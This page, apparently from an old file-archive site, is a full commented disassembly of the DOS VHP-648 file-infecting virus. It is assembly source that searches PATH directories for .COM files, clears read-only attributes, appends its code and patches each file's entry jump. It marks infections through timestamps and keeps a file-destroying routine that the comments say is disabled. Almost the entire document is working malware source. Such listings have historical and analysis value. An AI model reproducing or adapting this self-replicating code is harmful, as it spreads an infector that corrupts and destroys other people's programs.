home *** CD-ROM | disk | FTP | other *** search
- name Virus
- title Disassembly listing of the VHP-648 virus
- .radix 16
- code segment
- assume cs:code,ds:code
- org 100
- environ equ 2C
-
- start:
- jmp virus
- . . .
- virus:
- push cx ;Save CX
- mov dx,offset data ;Restore original first instruction
- ; before each contamination
- modify equ $-2 ;The instruction above is changed
- cld
- mov si,dx
- add si,saveins-data ;Instruction saved there
- mov di,offset start
- mov cx,3 ;Move 3 bytes
- rep movsb ;Do it
- mov si,dx ;Keep SI pointed at data
-
- mov ah,30 ;Get DOS version
- int 21
- cmp al,0 ;Less than 2.0?
- jne skip1
- jmp exit ;Exit if so
-
- skip1:
- push es ;Save ES
- mov ah,2F ;Get current DTA in ES:BX
- int 21
- mov word ptr [si+0],bx ;dtaadr
- mov word ptr [si+2],es
- pop es ;Restore ES
-
- mov dx,mydta-data
- add dx,si
- mov ah,1A ;Set DTA
- int 21
-
- push es ;Save ES & SI
- push si
- mov es,ds:[environ] ;Environment address
- mov di,0
- n_00015A: ;Search 'PATH=' in the environment
- pop si ;Restore data offset in SI
- push si
- add si,pathstr-data
- lodsb
- mov cx,8000 ;Maximum 32K in environment
- repne scasb ;Search for first letter ('P')
- mov cx,4 ;4 letters in 'PATH'
- n_000169:
- lodsb ;Search for next char
- scasb
- jne n_00015A ;If not found, search for next 'P'
- loop n_000169 ;Loop until done
- pop si ;Restore SI & ES
- pop es
-
- mov [si+16],di ;Save 'PATH' offset in poffs
- mov di,si
- add di,fname-data ;Point SI & DI at '=' sign
- mov bx,si ;Point BX at data area
- add si,fname-data
- mov di,si
- jmp short n_0001BF
-
- n_000185:
- cmp word ptr [si+16],6C ;poffs
- jne n_00018F
- jmp olddta
- n_00018F:
- push ds
- push si
- mov ds,es:[environ]
- mov di,si
- mov si,es:[di+16] ;poffs
- add di,fname-data
- n_0001A1:
- lodsb
- cmp al,';'
- je n_0001B0
- cmp al,0
- je n_0001AD
- stosb
- jmp n_0001A1
- n_0001AD:
- mov si,0
- n_0001B0:
- pop bx
- pop ds
- mov [bx+16],si ;poffs
- cmp byte ptr [di-1],'\'
- je n_0001BF
- mov al,'\' ;Add '\' if not already present
- stosb
-
- n_0001BF:
- mov [bx+18],di ;Save '=' offset in eqoffs
- mov si,bx ;Restore data pointer in SI
- add si,allcom-data
- mov cx,6 ;6 bytes in ASCIIZ '*.COM'
- rep movsb ;Move '*.COM' at fname
- mov si,bx ;Restore SI
-
- mov ah,4E ;Find first file
- mov dx,fname-data
- add dx,si
- mov cx,11b ;Hidden, Read/Only or Normal files
- int 21
- jmp short n_0001E3
-
- findnext:
- mov ah,4F ;Find next file
- int 21
- n_0001E3:
- jnc n_0001E7 ;If found, try to contaminate it
- jmp n_000185 ;Otherwise search in another directory
-
- n_0001E7:
- mov ax,[si+75] ;Check file time
- and al,11111b ; (the seconds, more exactly)
- cmp al,62d/2 ;Are they 62?
-
- ;If so, file is already contains the virus, search for another:
-
- je findnext
- cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
- ja findnext ;If so, search for next file
- cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
- jb findnext ;If so, search for next file
-
- mov di,[si+18] ;eqoffs
- push si ;Save SI
- add si,namez-data ;Point SI at namez
- n_000209:
- lodsb
- stosb
- cmp al,0
- jne n_000209
-
- pop si ;Restore SI
- mov ax,4300 ;Get file attributes
- mov dx,fname-data
- add dx,si
- int 21
-
- mov [si+8],cx ;Save them in fattrib
- mov ax,4301 ;Set file attributes
-
- ;The next `db's are there because MASM can't assemble
- ; the instruction `and cx,0FFFE' correctly (the fool!):
-
- and cx,0FFFE ;Turn off Read Only flag
- mov dx,fname-data
- add dx,si
- int 21
-
- mov ax,3D02 ;Open file with Read/Write access
- mov dx,fname-data
- add dx,si
- int 21
- jnc n_00023E
- jmp oldattr ;Exit on error
- n_00023E:
- mov bx,ax ;Save file handle in BX
- mov ax,5700 ;Get file date & time
- int 21
- mov [si+4],cx ;Save time in ftime
- mov [si+6],dx ;Save date in fdate
-
- mov ah,2C ;Get system time
- int 21
- and dh,111b ;Are seconds a multiple of 8?
-
- ;If so, destroy file (don't contaminate). Now this code is disabled.
-
- jmp short n_000266 ;CHANGED. Was jnz here
-
- ;Destroy file by rewriting an illegal jmp as first instruction:
-
- mov ah,40 ;Write to file handle
- mov cx,5 ;Write 5 bytes
- mov dx,si
- add dx,bad_jmp-data ;Write THESE bytes
- int 21 ;Do it
- jmp short oldtime ;Exit
-
- ;Try to contaminate file:
-
- ;Read first instruction of the file (first 3 bytes) and save it in saveins:
-
- n_000266:
- mov ah,3F ;Read from file handle
- mov cx,3 ;Read 3 bytes
- mov dx,saveins-data ;Put them there
- add dx,si
- int 21
- jc oldtime ;Exit on error
- cmp ax,3 ;Are really 3 bytes read?
- jne oldtime ;Exit if not
-
- ;Move file pointer to end of file:
-
- mov ax,4202 ;LSEEK from end of file
- mov cx,0 ;0 bytes from end
- mov dx,0
- int 21
- jc oldtime ;Exit on error
-
- mov cx,ax ;Get the value of file pointer
- sub ax,3 ;Subtract 3 from it to get real code size
- mov [si+14d],ax ;Save result in filloc
- add cx,data-(virus-100)
- mov di,si
- sub di,data-modify ;A little self-modification
- mov [di],cx
-
- mov ah,40 ;Write to file handle
- mov cx,enddata-virus ;Virus code length as bytes to be written
- mov dx,si
- sub dx,data-virus ;Now DX points at virus label
- int 21
- jc oldtime ;Exit on error
- cmp ax,enddata-virus ;Are all bytes written?
- jne oldtime ;Exit if not
-
- mov ax,4200 ;LSEEK from the beginning of the file
- mov cx,0 ;Just at the file beginning
- mov dx,0
- int 21
- jc oldtime ;Exit on error
-
- ;Rewrite the first instruction of the file with a jump to the virus code:
-
- mov ah,40 ;Write to file handle
- mov cx,3 ;3 bytes to write
- mov dx,si
- add dx,newjmp-data ;Write THESE bytes
- int 21
-
- oldtime:
- mov dx,[si+6] ;Restore file date
- mov cx,[si+4] ; and time
-
- ;And these again are due to the MASM 5.0 foolness:
-
- db 081,0E1,0E0,0FF
- db 081,0C9,01F,000
- ; and cx,not 11111b
- ; or cx,11111b ;Set seconds to 62 (?!)
-
- mov ax,5701 ;Set file date & time
- int 21
- mov ah,3E ;Close file handle
- int 21
-
- oldattr:
- mov ax,4301 ;Set file attributes
- mov cx,[si+8] ;They were saved in fattrib
- mov dx,fname-data
- add dx,si
- int 21
-
- olddta:
- push ds ;Save DS
- mov ah,1A ;Set DTA
- mov dx,[si+0] ;Restore saved DTA
- mov ds,[si+2]
- int 21
- pop ds ;Restore DS
-
- exit:
- pop cx ;Restore CX
- xor ax,ax ;Clear registers
- xor bx,bx
- xor dx,dx
- xor si,si
- mov di,100 ;Jump to CS:100
- push di ; by doing funny RET
- xor di,di
- ret -1
-
- data label byte ;Data section
- dtaaddr dd ? ;Disk Transfer Address
- ftime dw ? ;File date
- fdate dw ? ;File time
- fattrib dw ? ;File attribute
- saveins db 0EBh,0Fh,90 ;Original first 3 bytes
- newjmp db 0E9 ;Code of jmp instruction
- filloc dw ? ;File pointer is saved here
- allcom db '*.COM',0 ;Filespec to search for
- poffs dw ? ;Address of 'PATH' string
- eqoffs dw ? ;Address of '=' sign
- pathstr db 'PATH='
- fname db 40 dup (' ') ;Path name to search for
-
- ;Disk Transfer Address for Find First / Find Next:
-
- mydta label byte
- drive db ? ;Drive to search for
- pattern db 13d dup (?) ;Search pattern
- reserve db 7 dup (?) ;Not used
- attrib db ? ;File attribute
- time dw ? ;File time
- date dw ? ;File date
- fsize dd ? ;File size
- namez db 13d dup (?) ;File name found
-
- ;This replaces the first instruction of a destroyed file:
-
- bad_jmp db 0EA,0Bh,2,13,58
- enddata label byte
- code ends
- end start
-